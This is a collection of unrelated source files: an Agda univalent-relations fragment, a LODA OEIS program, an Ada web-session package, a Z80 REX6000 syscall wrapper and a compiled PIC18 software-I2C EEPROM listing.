constant displayed structure module _ {A : Type ℓA} (𝒮-A : UARel A ℓ≅A) {B : Type ℓB} (𝒮-B : UARel B ℓ≅B) where open UARel 𝒮-B open DUARel 𝒮ᴰ-const : DUARel 𝒮-A (λ _ → B) ℓ≅B 𝒮ᴰ-const ._≅ᴰ⟨_⟩_ b _ b' = b ≅ b' 𝒮ᴰ-const .uaᴰ b p b' = ua b b' -- UARel product _×𝒮_ : UARel (A × B) (ℓ-max ℓ≅A ℓ≅B) _×𝒮_ = ∫ 𝒮ᴰ-const -- relational isomorphisms 𝒮-iso→iso : {A : Type ℓA} (𝒮-A : UARel A ℓ≅A) {B : Type ℓB} (𝒮-B : UARel B ℓ≅B) (F : RelIso (UARel._≅_ 𝒮-A) (UARel._≅_ 𝒮-B)) → Iso A B 𝒮-iso→iso 𝒮-A 𝒮-B F = RelIso→Iso (UARel._≅_ 𝒮-A) (UARel._≅_ 𝒮-B) (UARel.≅→≡ 𝒮-A) (UARel.≅→≡ 𝒮-B) F -- fiberwise relational isomorphisms module _ {A : Type ℓA} {𝒮-A : UARel A ℓ≅A} {A' : Type ℓA'} {𝒮-A' : UARel A' ℓ≅A'} (F : Iso A A') {B : A → Type ℓB} (𝒮ᴰ-B : DUARel 𝒮-A B ℓ≅B) {B' : A' → Type ℓB'} (𝒮ᴰ-B' : DUARel 𝒮-A' B' ℓ≅B') where open UARel 𝒮-A open DUARel 𝒮ᴰ-B renaming (_≅ᴰ⟨_⟩_ to _≅B⟨_⟩_ ; uaᴰ to uaB ; fiberRel to fiberRelB ; uaᴰρ to uaᴰρB) open DUARel 𝒮ᴰ-B' renaming (_≅ᴰ⟨_⟩_ to _≅B'⟨_⟩_ ; uaᴰ to uaB' ; fiberRel to fiberRelB' ; uaᴰρ to uaᴰρB') private f = Iso.fun F -- the following can of course be done slightly more generally -- for fiberwise binary relations F*fiberRelB' : (a : A) → Rel (B' (f a)) (B' (f a)) ℓ≅B' F*fiberRelB' a = fiberRelB' (f a) module _ (G : (a : A) → RelIso (fiberRelB a) (F*fiberRelB' a)) where private fiberIsoOver : (a : A) → Iso (B a) (B' (f a)) fiberIsoOver a = RelIso→Iso (fiberRelB a) (F*fiberRelB' a) (equivFun (uaᴰρB _ _)) (equivFun (uaᴰρB' _ _)) (G a) -- DUARelFiberIsoOver→TotalIso produces an isomorphism of total spaces -- from a relational isomorphism between B a and (F * B) a 𝒮ᴰ-fiberIsoOver→totalIso : Iso (Σ A B) (Σ A' B') 𝒮ᴰ-fiberIsoOver→totalIso = Σ-cong-iso F fiberIsoOver -- Special cases: -- Subtypes 𝒮-type : (A : Type ℓ) → UARel A ℓ UARel._≅_ (𝒮-type A) = _≡_ UARel.ua (𝒮-type A) a a' = idEquiv (a ≡ a') module _ {A : Type ℓA} (𝒮-A : UARel A ℓ≅A) where 𝒮ᴰ-subtype : (P : A → hProp ℓP) → DUARel 𝒮-A (λ a → P a .fst) ℓ-zero 𝒮ᴰ-subtype P = 𝒮ᴰ-make-2 (λ _ _ _ → Unit) (λ _ → tt) λ a p → isOfHLevelRespectEquiv 0 (invEquiv (Σ-contractSnd (λ _ → isContrUnit))) (inhProp→isContr p (P a .snd))
programs/oeis/089/A089262.asm
karttu/loda
0
11676
; A089262: 2^[log2(n)] - 2^[log2(n*2/3)]. ; 0,0,1,0,2,2,0,0,4,4,4,4,0,0,0,0,8,8,8,8,8,8,8,8,0,0,0,0,0,0,0,0,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32 mov $2,$0 mov $3,1 lpb $2,1 add $4,$0 lpb $4,1 add $4,$1 mov $1,$3 mul $3,2 trn $4,$3 lpe mov $2,$3 sub $2,1 lpe
src/asf-sessions.adb
Letractively/ada-asf
0
17181
<gh_stars>0 ----------------------------------------------------------------------- -- asf.sessions -- ASF Sessions -- Copyright (C) 2010, 2011 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Unchecked_Deallocation; -- The <b>ASF.Sessions</b> package is an Ada implementation of the -- Java servlet Specification (See JSR 315 at jcp.org). package body ASF.Sessions is use Ada.Strings.Unbounded; -- ------------------------------ -- Returns true if the session is valid. -- ------------------------------ function Is_Valid (Sess : in Session'Class) return Boolean is begin return Sess.Impl /= null and then Sess.Impl.Is_Active; end Is_Valid; -- ------------------------------ -- Returns a string containing the unique identifier assigned to this session. -- The identifier is assigned by the servlet container and is implementation dependent. -- ------------------------------ function Get_Id (Sess : in Session) return String is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; else return Sess.Impl.Id.all; end if; end Get_Id; -- ------------------------------ -- Returns the last time the client sent a request associated with this session, -- as the number of milliseconds since midnight January 1, 1970 GMT, and marked -- by the time the container recieved the request. -- -- Actions that your application takes, such as getting or setting a value associated -- with the session, do not affect the access time. -- ------------------------------ function Get_Last_Accessed_Time (Sess : in Session) return Ada.Calendar.Time is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; else return Sess.Impl.Access_Time; end if; end Get_Last_Accessed_Time; -- ------------------------------ -- Returns the maximum time interval, in seconds, that the servlet container will -- keep this session open between client accesses. After this interval, the servlet -- container will invalidate the session. The maximum time interval can be set with -- the Set_Max_Inactive_Interval method. -- A negative time indicates the session should never timeout. -- ------------------------------ function Get_Max_Inactive_Interval (Sess : in Session) return Duration is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; else return Sess.Impl.Max_Inactive; end if; end Get_Max_Inactive_Interval; -- ------------------------------ -- Specifies the time, in seconds, between client requests before the servlet -- container will invalidate this session. A negative time indicates the session -- should never timeout. -- ------------------------------ procedure Set_Max_Inactive_Interval (Sess : in Session; Interval : in Duration) is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; else Sess.Impl.Max_Inactive := Interval; end if; end Set_Max_Inactive_Interval; -- ------------------------------ -- Returns the object bound with the specified name in this session, -- or null if no object is bound under the name. -- ------------------------------ function Get_Attribute (Sess : in Session; Name : in String) return EL.Objects.Object is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; end if; Sess.Impl.Lock.Read; declare Pos : constant EL.Objects.Maps.Cursor := Sess.Impl.Attributes.Find (Name); begin if EL.Objects.Maps.Has_Element (Pos) then return Value : constant EL.Objects.Object := EL.Objects.Maps.Element (Pos) do Sess.Impl.Lock.Release_Read; end return; end if; exception when others => Sess.Impl.Lock.Release_Read; raise; end; Sess.Impl.Lock.Release_Read; return EL.Objects.Null_Object; end Get_Attribute; -- ------------------------------ -- Binds an object to this session, using the name specified. -- If an object of the same name is already bound to the session, -- the object is replaced. -- -- If the value passed in is null, this has the same effect as calling -- removeAttribute(). -- ------------------------------ procedure Set_Attribute (Sess : in out Session; Name : in String; Value : in EL.Objects.Object) is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; end if; begin Sess.Impl.Lock.Write; if EL.Objects.Is_Null (Value) then -- Do not complain if there is no attribute with the given name. if Sess.Impl.Attributes.Contains (Name) then Sess.Impl.Attributes.Delete (Name); end if; else Sess.Impl.Attributes.Include (Name, Value); end if; exception when others => Sess.Impl.Lock.Release_Write; raise; end; Sess.Impl.Lock.Release_Write; end Set_Attribute; -- ------------------------------ -- Removes the object bound with the specified name from this session. -- If the session does not have an object bound with the specified name, -- this method does nothing. -- ------------------------------ procedure Remove_Attribute (Sess : in out Session; Name : in String) is begin Set_Attribute (Sess, Name, EL.Objects.Null_Object); end Remove_Attribute; -- ------------------------------ -- Gets the principal that authenticated to the session. -- Returns null if there is no principal authenticated. -- ------------------------------ function Get_Principal (Sess : in Session) return ASF.Principals.Principal_Access is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; end if; return Sess.Impl.Principal; end Get_Principal; -- ------------------------------ -- Sets the principal associated with the session. -- ------------------------------ procedure Set_Principal (Sess : in out Session; Principal : in ASF.Principals.Principal_Access) is begin if Sess.Impl = null or else not Sess.Impl.Is_Active then raise No_Session; end if; Sess.Impl.Principal := Principal; end Set_Principal; -- ------------------------------ -- Invalidates this session then unbinds any objects bound to it. -- ------------------------------ procedure Invalidate (Sess : in out Session) is begin if Sess.Impl /= null then Sess.Impl.Is_Active := False; Finalize (Sess); end if; end Invalidate; -- ------------------------------ -- Adjust (increment) the session record reference counter. -- ------------------------------ overriding procedure Adjust (Object : in out Session) is begin if Object.Impl /= null then Util.Concurrent.Counters.Increment (Object.Impl.Ref_Counter); end if; end Adjust; procedure Free is new Ada.Unchecked_Deallocation (Object => Session_Record'Class, Name => Session_Record_Access); procedure Free is new Ada.Unchecked_Deallocation (Object => ASF.Principals.Principal'Class, Name => ASF.Principals.Principal_Access); -- ------------------------------ -- Decrement the session record reference counter and free the session record -- if this was the last session reference. -- ------------------------------ overriding procedure Finalize (Object : in out Session) is Release : Boolean; begin if Object.Impl /= null then Util.Concurrent.Counters.Decrement (Object.Impl.Ref_Counter, Release); if Release then Free (Object.Impl.Principal); Free (Object.Impl); else Object.Impl := null; end if; end if; end Finalize; overriding procedure Finalize (Object : in out Session_Record) is begin Free (Object.Id); end Finalize; end ASF.Sessions;
libsrc/rex/DsPrintf.asm
grancier/z180
0
166501
; ; System Call for REX6000 ; ; $Id: DsPrintf.asm,v 1.4 2017/01/03 00:11:31 aralbrec Exp $ ; ; DsPrintf (int, int, int, char*) ; ; Written by <NAME> <<EMAIL>> PUBLIC DsPrintf PUBLIC _DsPrintf EXTERN syscallex .DsPrintf ._DsPrintf ld ix,$08 add ix,sp ld hl,$0330 push hl ld l,(ix+0) ; x ld h,(ix+1) push hl dec ix dec ix ld l,(ix+0) ; y ld h,(ix+1) push hl ld hl,$FFFF ; dummy push hl dec ix dec ix ld l,(ix+0) ; font ld h,(ix+1) push hl dec ix dec ix ld l,(ix+0) ; string ld h,(ix+1) push hl ld a,h ld hl,0 and a,$e0 ; compare if points to $8000-$9FFF add a,$80 jp NZ,DsPrintf_1 in a,(1) ; load mem page of addin code ld l,a .DsPrintf_1 push hl ld a,7 call syscallex ld hl,14 add hl,sp ld sp,hl ret
Hello world with I2C/part4.asm
TechZx/PICSimLab_examples_in_MicroC
0
90130
; ASM code generated by mikroVirtualMachine for PIC - V. 8.0.0.0 ; Date/Time: 11/24/2020 8:04:11 PM ; Info: http://www.mikroe.com ; ADDRESS OPCODE ASM ; ---------------------------------------------- $0000 $EF2A F001 GOTO _main $0008 $ _Delay_1us: ;Delays.c,7 :: void Delay_1us() { ;Delays.c,8 :: Delay_us(1); $0008 $0000 NOP $000A $0000 NOP ;Delays.c,9 :: } $000C $0012 RETURN $000E $ SoftI2C_PutZerosToLAT: $000E $0E09 MOVLW 9 $0010 $5C15 SUBWF ___porti2c, 0, 0 $0012 $6EE1 MOVWF FSR1L, 0 $0014 $0E0F MOVLW 15 $0016 $6EE2 MOVWF FSR1H, 0 $0018 $98E7 BCF INDF1, ____sdai2c, 0 $001A $96E7 BCF INDF1, ____scli2c, 0 $001C $0012 RETURN $001E $ _Soft_I2C_Start: $001E $C015 FFE9 MOVFF ___porti2c, FSR0L $0022 $0E0F MOVLW 15 $0024 $6EEA MOVWF FSR0H, 0 $0026 $88EF BSF INDF0, ____sdai2c, 0 $0028 $EC04 F000 CALL _Delay_1us $002C $86EF BSF INDF0, ____scli2c, 0 $002E $EC04 F000 CALL _Delay_1us $0032 $EC07 F000 CALL SoftI2C_PutZerosToLAT $0036 $98EF BCF INDF0, ____sdai2c, 0 $0038 $EC04 F000 CALL _Delay_1us $003C $EC07 F000 CALL SoftI2C_PutZerosToLAT $0040 $96EF BCF INDF0, ____scli2c, 0 $0042 $0012 RETURN $0044 $ _Soft_I2C_Write: $0044 $0E01 MOVLW 1 $0046 $6E37 MOVWF Soft_I2C_Write_result_L0, 0 $0048 $0E08 MOVLW 8 $004A $6E36 MOVWF Soft_I2C_Write_temp_L0, 0 $004C $C015 FFE9 MOVFF ___porti2c, FSR0L $0050 $0E0F MOVLW 15 $0052 $6EEA MOVWF FSR0H, 0 $0054 $ L_Soft_I2C_Write_4: $0054 $5236 MOVF Soft_I2C_Write_temp_L0, 1, 0 $0056 $E022 BZ L_Soft_I2C_Write_5 $0058 $EC04 F000 CALL _Delay_1us $005C $EC04 F000 CALL _Delay_1us $0060 $EC07 F000 CALL SoftI2C_PutZerosToLAT $0064 $96EF BCF INDF0, ____scli2c, 0 $0066 $EC04 F000 CALL _Delay_1us $006A $5235 MOVF FARG_Soft_I2C_Write+0, 1, 0 $006C $E000 BZ L_Soft_I2C_Write_6 $006E $ L_Soft_I2C_Write_6: $006E $EC07 F000 CALL SoftI2C_PutZerosToLAT $0072 $3635 RLCF FARG_soft_i2c_write+0, F, 0 $0074 $A0D8 BTFSS STATUS, 0, 0 $0076 $EF40 F000 GOTO l_018 $007A $88EF BSF INDF0, ____sdai2c, 0 $007C $EF41 F000 GOTO l_01C $0080 $ l_018: $0080 $98EF BCF INDF0, ____sdai2c, 0 $0082 $ l_01C: $0082 $0000 NOP $0084 $EC04 F000 CALL _Delay_1us $0088 $86EF BSF INDF0, ____scli2c, 0 $008A $0E12 MOVLW 18 $008C $5EE9 SUBWF FSR0L, F, 0 $008E $A6EF BTFSS INDF0, ____scli2c, 0 $0090 $EF47 F000 GOTO $-1 $0094 $0E12 MOVLW 18 $0096 $26E9 ADDWF FSR0L, F, 0 $0098 $0636 DECF Soft_I2C_Write_temp_L0, 1, 0 $009A $D7DC BRA L_Soft_I2C_Write_4 $009C $ L_Soft_I2C_Write_5: $009C $6A37 CLRF Soft_I2C_Write_result_L0, 0 $009E $EC04 F000 CALL _Delay_1us $00A2 $EC07 F000 CALL SoftI2C_PutZerosToLAT $00A6 $0000 NOP $00A8 $96EF BCF INDF0, ____scli2c, 0 $00AA $EC04 F000 CALL _Delay_1us $00AE $88EF BSF INDF0, ____sdai2c, 0 $00B0 $EC04 F000 CALL _Delay_1us $00B4 $EC04 F000 CALL _Delay_1us $00B8 $5237 MOVF Soft_I2C_Write_result_L0, 1, 0 $00BA $E000 BZ L_Soft_I2C_Write_7 $00BC $ L_Soft_I2C_Write_7: $00BC $86EF BSF INDF0, ____scli2c, 0 $00BE $0E12 MOVLW 18 $00C0 $5EE9 SUBWF FSR0L, F, 0 $00C2 $A6EF BTFSS INDF0, ____scli2c, 0 $00C4 $EF61 F000 GOTO $-1 $00C8 $6A37 CLRF FLOC_soft_i2c_write+1, 0 $00CA $EC04 F000 CALL _Delay_1us $00CE $B8EF BTFSC INDF0, ____sdai2c, 0 $00D0 $8037 BSF FLOC_soft_i2c_write+1, 0, 0 $00D2 $EC04 F000 CALL _Delay_1us $00D6 $EC04 F000 CALL _Delay_1us $00DA $EC04 F000 CALL _Delay_1us $00DE $EC04 F000 CALL _Delay_1us $00E2 $EC04 F000 CALL _Delay_1us $00E6 $EC04 F000 CALL _Delay_1us $00EA $EC04 F000 CALL _Delay_1us $00EE $EC04 F000 CALL _Delay_1us $00F2 $EC07 F000 CALL SoftI2C_PutZerosToLAT $00F6 $0E12 MOVLW 18 $00F8 $26E9 ADDWF FSR0L, F, 0 $00FA $96EF BCF INDF0, ____scli2c, 0 $00FC $98EF BCF INDF0, ____sdai2c, 0 $00FE $C037 F000 MOVFF Soft_I2C_Write_result_L0, STACK_0 $0102 $0012 RETURN $0104 $ _Soft_I2C_Stop: $0104 $C015 FFE9 MOVFF ___porti2c, FSR0L $0108 $0E0F MOVLW 15 $010A $6EEA MOVWF FSR0H, 0 $010C $EC07 F000 CALL SoftI2C_PutZerosToLAT $0110 $98EF BCF INDF0, ____sdai2c, 0 $0112 $EC04 F000 CALL _Delay_1us $0116 $86EF BSF INDF0, ____scli2c, 0 $0118 $0E12 MOVLW 18 $011A $5EE9 SUBWF FSR0L, F, 0 $011C $A6EF BTFSS INDF0, ____scli2c, 0 $011E $EF8E F000 GOTO $-1 $0122 $0E12 MOVLW 18 $0124 $26E9 ADDWF FSR0L, F, 0 $0126 $EC04 F000 CALL _Delay_1us $012A $EC04 F000 CALL _Delay_1us $012E $EC04 F000 CALL _Delay_1us $0132 $EC04 F000 CALL _Delay_1us $0136 $88EF BSF INDF0, ____sdai2c, 0 $0138 $EC04 F000 CALL _Delay_1us $013C $0012 RETURN $013E $ _Soft_I2C_Read: $013E $6A36 CLRF Soft_I2C_Read_result_L0, 0 $0140 $0E08 MOVLW 8 $0142 $6E37 MOVWF Soft_I2C_Read_temp_L0, 0 $0144 $C015 FFE9 MOVFF ___porti2c, FSR0L $0148 $0E0F MOVLW 15 $014A $6EEA MOVWF FSR0H, 0 $014C $ L_Soft_I2C_Read_0: $014C $5237 MOVF Soft_I2C_Read_temp_L0, 1, 0 $014E $E01C BZ L_Soft_I2C_Read_1 $0150 $EC04 F000 CALL _Delay_1us $0154 $0000 NOP $0156 $88EF BSF INDF0, ____sdai2c, 0 $0158 $EC04 F000 CALL _Delay_1us $015C $5236 MOVF Soft_I2C_Read_result_L0, 1, 0 $015E $E000 BZ L_Soft_I2C_Read_2 $0160 $ L_Soft_I2C_Read_2: $0160 $86EF BSF INDF0, ____scli2c, 0 $0162 $0E12 MOVLW 18 $0164 $5EE9 SUBWF FSR0L, F, 0 $0166 $A6EF BTFSS INDF0, ____scli2c, 0 $0168 $EFB3 F000 GOTO $-1 $016C $B8EF BTFSC INDF0, ____sdai2c, 0 $016E $80D8 BSF STATUS, C, 0 $0170 $A8EF BTFSS INDF0, ____sdai2c, 0 $0172 $90D8 BCF STATUS, C, 0 $0174 $3636 RLCF FLOC_soft_i2c_read+0, F, 0 $0176 $EC04 F000 CALL _Delay_1us $017A $EC07 F000 CALL SoftI2C_PutZerosToLAT $017E $0E12 MOVLW 18 $0180 $26E9 ADDWF FSR0L, F, 0 $0182 $96EF BCF INDF0, ____scli2c, 0 $0184 $0637 DECF Soft_I2C_Read_temp_L0, 1, 0 $0186 $D7E2 BRA L_Soft_I2C_Read_0 $0188 $ L_Soft_I2C_Read_1: $0188 $88EF BSF INDF0, ____sdai2c, 0 $018A $EC04 F000 CALL _Delay_1us $018E $5235 MOVF FARG_Soft_I2C_Read+0, 1, 0 $0190 $E002 BZ L_Soft_I2C_Read_3 $0192 $EC07 F000 CALL SoftI2C_PutZerosToLAT $0196 $ L_Soft_I2C_Read_3: $0196 $5035 MOVF FARG_soft_i2c_read+0, W, 0 $0198 $B4D8 BTFSC STATUS, 2, 0 $019A $EFD0 F000 GOTO L_07C $019E $98EF BCF INDF0, ____sdai2c, 0 $01A0 $ L_07C: $01A0 $0000 NOP $01A2 $EC04 F000 CALL _Delay_1us $01A6 $86EF BSF INDF0, ____scli2c, 0 $01A8 $0E12 MOVLW 18 $01AA $5EE9 SUBWF FSR0L, F, 0 $01AC $A6EF BTFSS INDF0, ____scli2c, 0 $01AE $EFD6 F000 GOTO $-1 $01B2 $0E12 MOVLW 18 $01B4 $26E9 ADDWF FSR0L, F, 0 $01B6 $EC04 F000 CALL _Delay_1us $01BA $EC07 F000 CALL SoftI2C_PutZerosToLAT $01BE $96EF BCF INDF0, ____scli2c, 0 $01C0 $EC04 F000 CALL _Delay_1us $01C4 $EC07 F000 CALL SoftI2C_PutZerosToLAT $01C8 $98EF BCF INDF0, ____sdai2c, 0 $01CA $C036 F000 MOVFF Soft_I2C_Read_result_L0, STACK_0 $01CE $0012 RETURN $01D0 $ _strlen: $01D0 $C035 F037 MOVFF FARG_strlen+0, strlen_cp_L0 $01D4 $C036 F038 MOVFF FARG_strlen+1, strlen_cp_L0+1 $01D8 $ L_strlen_33: $01D8 $C037 FFE9 MOVFF strlen_cp_L0, FSR0L $01DC $C038 FFEA MOVFF strlen_cp_L0+1, FSR0L+1 $01E0 $4A37 INFSNZ strlen_cp_L0, 1, 0 $01E2 $2A38 INCF strlen_cp_L0+1, 1, 0 $01E4 $CFEE F000 MOVFF POSTINC0, STACK_0 $01E8 $5200 MOVF STACK_0, 1, 0 $01EA $E1F6 BNZ L_strlen_33 $01EC $ L_strlen_34: $01EC $5035 MOVF FARG_strlen+0, 0, 0 $01EE $5C37 SUBWF strlen_cp_L0, 0, 0 $01F0 $6E00 MOVWF STACK_0, 0 $01F2 $5036 MOVF FARG_strlen+1, 0, 0 $01F4 $5838 SUBWFB strlen_cp_L0+1, 0, 0 $01F6 $6E01 MOVWF STACK_0+1, 0 $01F8 $0E01 MOVLW 1 $01FA $5E00 SUBWF STACK_0, 1, 0 $01FC $0E00 MOVLW 0 $01FE $5A01 SUBWFB STACK_0+1, 1, 0 $0200 $0012 RETURN $0202 $ _Usart_Write: $0202 $ L_Usart_Write_3: $0202 $6A01 CLRF STACK_1, 0 $0204 $B2AC BTFSC TXSTA, 1, 0 $0206 $2A01 INCF STACK_1, 1, 0 $0208 $5001 MOVF STACK_1, 0, 0 $020A $0A00 XORLW 0 $020C $E102 BNZ L_Usart_Write_4 $020E $0000 NOP $0210 $D7F8 BRA L_Usart_Write_3 $0212 $ L_Usart_Write_4: $0212 $C035 FFAD MOVFF FARG_Usart_Write+0, TXREG $0216 $0012 RETURN $0218 $ _Soft_I2C_Init: $0218 $C035 FFE9 MOVFF FARG_Soft_I2C_Init+0, FSR0L $021C $C036 FFEA MOVFF FARG_Soft_I2C_Init+1, FSR0H $0220 $0E12 MOVLW 18 $0222 $2435 ADDWF FARG_Soft_I2C_Init+0, 0, 0 $0224 $6E00 MOVWF STACK_0, 0 $0226 $C000 F015 MOVFF STACK_0, ___porti2c $022A $C000 FFE9 MOVFF STACK_0, FSR0L $022E $88EF BSF INDF0, ____sdai2c, 0 $0230 $86EF BSF INDF0, ____scli2c, 0 $0232 $0E12 MOVLW 18 $0234 $5EE9 SUBWF FSR0L, 1, 0 $0236 $A6EF BTFSS INDF0, ____scli2c, 0 $0238 $EF1B F001 GOTO $-1 $023C $0012 RETURN $023E $ _Usart_Init: $023E $8AAC BSF TXSTA, 5, 0 $0240 $0E90 MOVLW 144 $0242 $6EAB MOVWF RCSTA, 0 $0244 $8E94 BSF TRISC, 7, 0 $0246 $9C94 BCF TRISC, 6, 0 $0248 $ L_Usart_Init_0: $0248 $AA9E BTFSS PIR1, 5, 0 $024A $D003 BRA L_Usart_Init_1 $024C $CFAE F039 MOVFF RCREG, Usart_Init_tmp_L0 $0250 $D7FB BRA L_Usart_Init_0 $0252 $ L_Usart_Init_1: $0252 $0012 RETURN $0254 $ _main: $0254 $0E48 MOVLW 72 $0256 $6E16 MOVWF lstr1_part4+0, 0 $0258 $0E65 MOVLW 101 $025A $6E17 MOVWF lstr1_part4+1, 0 $025C $0E6C MOVLW 108 $025E $6E18 MOVWF lstr1_part4+2, 0 $0260 $0E6C MOVLW 108 $0262 $6E19 MOVWF lstr1_part4+3, 0 $0264 $0E6F MOVLW 111 $0266 $6E1A MOVWF lstr1_part4+4, 0 $0268 $6A1B CLRF lstr1_part4+5, 0 $026A $0E57 MOVLW 87 $026C $6E1C MOVWF lstr2_part4+0, 0 $026E $0E6F MOVLW 111 $0270 $6E1D MOVWF lstr2_part4+1, 0 $0272 $0E72 MOVLW 114 $0274 $6E1E MOVWF lstr2_part4+2, 0 $0276 $0E6C MOVLW 108 $0278 $6E1F MOVWF lstr2_part4+3, 0 $027A $0E64 MOVLW 100 $027C $6E20 MOVWF lstr2_part4+4, 0 $027E $6A21 CLRF lstr2_part4+5, 0 $0280 $0E54 MOVLW 84 $0282 $6E22 MOVWF lstr3_part4+0, 0 $0284 $0E65 MOVLW 101 $0286 $6E23 MOVWF lstr3_part4+1, 0 $0288 $0E73 MOVLW 115 $028A $6E24 MOVWF lstr3_part4+2, 0 $028C $0E74 MOVLW 116 $028E $6E25 MOVWF lstr3_part4+3, 0 $0290 $6A26 CLRF lstr3_part4+4, 0 ;part4.c,8 :: void main(){ ;part4.c,11 :: INTCON=0; $0292 $6AF2 CLRF INTCON, 0 ;part4.c,12 :: TRISE =0; $0294 $6A96 CLRF TRISE, 0 ;part4.c,13 :: TRISD =0; $0296 $6A95 CLRF TRISD, 0 ;part4.c,14 :: TRISB =0; $0298 $6A93 CLRF TRISB, 0 ;part4.c,15 :: Soft_I2C_Config(&PORTC, 4, 3); //Use PortC pins 4 and 3 $029A $0E82 MOVLW PORTC $029C $6E35 MOVWF FARG_Soft_I2C_Init+0, 0 $029E $0E0F MOVLW @PORTC $02A0 $6E36 MOVWF FARG_Soft_I2C_Init+1, 0 $02A2 $EC0C F001 CALL _Soft_I2C_Init ;part4.c,17 :: TRISB =0x00; $02A6 $6A93 CLRF TRISB, 0 ;part4.c,18 :: PORTB =0x00; $02A8 $6A81 CLRF PORTB, 0 ;part4.c,20 :: Soft_I2C_Start(); // Issue I2C start signal $02AA $EC0F F000 CALL _Soft_I2C_Start ;part4.c,21 :: Soft_I2C_Write(0xA2); // Send byte via I2C (Address of 24cO2) $02AE $0EA2 MOVLW 162 $02B0 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02B2 $EC22 F000 CALL _Soft_I2C_Write ;part4.c,22 :: Soft_I2C_Write(3); // Send byte (address of EEPROM location) $02B6 $0E03 MOVLW 3 $02B8 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02BA $EC22 F000 CALL _Soft_I2C_Write ;part4.c,24 :: Soft_I2C_Write("Hello"); $02BE $0E16 MOVLW lstr1_part4 $02C0 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02C2 $EC22 F000 CALL _Soft_I2C_Write ;part4.c,25 :: Soft_I2C_Write("World"); $02C6 $0E1C MOVLW lstr2_part4 $02C8 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02CA $EC22 F000 CALL _Soft_I2C_Write ;part4.c,26 :: Soft_I2C_Write("Test"); $02CE $0E22 MOVLW lstr3_part4 $02D0 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02D2 $EC22 F000 CALL _Soft_I2C_Write ;part4.c,27 :: Soft_I2C_Stop(); $02D6 $EC82 F000 CALL _Soft_I2C_Stop ;part4.c,29 :: Soft_I2C_Start(); // Issue I2C start signal $02DA $EC0F F000 CALL _Soft_I2C_Start ;part4.c,30 :: Soft_I2C_Write(0xA2); // Send byte (device address + W) $02DE $0EA2 MOVLW 162 $02E0 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02E2 $EC22 F000 CALL _Soft_I2C_Write ;part4.c,31 :: Soft_I2C_Write(3); // Send byte (EEPROM location to read from) $02E6 $0E03 MOVLW 3 $02E8 $6E35 MOVWF FARG_Soft_I2C_Write+0, 0 $02EA $EC22 F000 CALL _Soft_I2C_Write ;part4.c,32 :: Soft_I2C_Start(); // Issue I2C start signal $02EE $EC0F F000 CALL _Soft_I2C_Start ;part4.c,33 :: Soft_I2C_Stop(); $02F2 $EC82 F000 CALL _Soft_I2C_Stop ;part4.c,34 :: data[0] = Soft_I2C_Read(1); // Read data (send ACK) $02F6 $0E01 MOVLW 1 $02F8 $6E35 MOVWF FARG_Soft_I2C_Read+0, 0 $02FA $EC9F F000 CALL _Soft_I2C_Read $02FE $C000 F02D MOVFF STACK_0, main_data_L0 $0302 $0E00 MOVLW 0 $0304 $6E2E MOVWF main_data_L0+1, 0 ;part4.c,35 :: data[1] = Soft_I2C_Read(1); // Read data (send ACK) $0306 $0E01 MOVLW 1 $0308 $6E35 MOVWF FARG_Soft_I2C_Read+0, 0 $030A $EC9F F000 CALL _Soft_I2C_Read $030E $C000 F02F MOVFF STACK_0, main_data_L0+2 $0312 $0E00 MOVLW 0 $0314 $6E30 MOVWF main_data_L0+3, 0 ;part4.c,36 :: data[2] = Soft_I2C_Read(1); // Read data (send ACK) $0316 $0E01 MOVLW 1 $0318 $6E35 MOVWF FARG_Soft_I2C_Read+0, 0 $031A $EC9F F000 CALL _Soft_I2C_Read $031E $C000 F031 MOVFF STACK_0, main_data_L0+4 $0322 $0E00 MOVLW 0 $0324 $6E32 MOVWF main_data_L0+5, 0 ;part4.c,37 :: data[3] = Soft_I2C_Read(0); // Read data (NO ACK) $0326 $6A35 CLRF FARG_Soft_I2C_Read+0, 0 $0328 $EC9F F000 CALL _Soft_I2C_Read $032C $C000 F033 MOVFF STACK_0, main_data_L0+6 $0330 $0E00 MOVLW 0 $0332 $6E34 MOVWF main_data_L0+7, 0 ;part4.c,38 :: Soft_I2C_Stop(); $0334 $EC82 F000 CALL _Soft_I2C_Stop ;part4.c,40 :: Usart_Init(9600); $0338 $0E33 MOVLW 51 $033A $6EAF MOVWF SPBRG, 0 $033C $84AC BSF TXSTA, BRGH, 0 $033E $EC1F F001 CALL _Usart_Init ;part4.c,41 :: text1 =data[0]; $0342 $C02D F027 MOVFF main_data_L0, main_text1_L0 $0346 $C02E F028 MOVFF main_data_L0+1, main_text1_L0+1 ;part4.c,42 :: for (i=0;i<strlen(data[0]);i++) $034A $6A33 CLRF main_i_L0, 0 $034C $6A34 CLRF main_i_L0+1, 0 $034E $ L_main_0: $034E $C02D F035 MOVFF main_data_L0, FARG_strlen+0 $0352 $C02E F036 MOVFF main_data_L0+1, FARG_strlen+1 $0356 $ECE8 F000 CALL _strlen $035A $0E80 MOVLW 128 $035C $1834 XORWF main_i_L0+1, 0, 0 $035E $6E02 MOVWF STACK_2, 0 $0360 $0E80 MOVLW 128 $0362 $1801 XORWF STACK_0+1, 0, 0 $0364 $5C02 SUBWF STACK_2, 0, 0 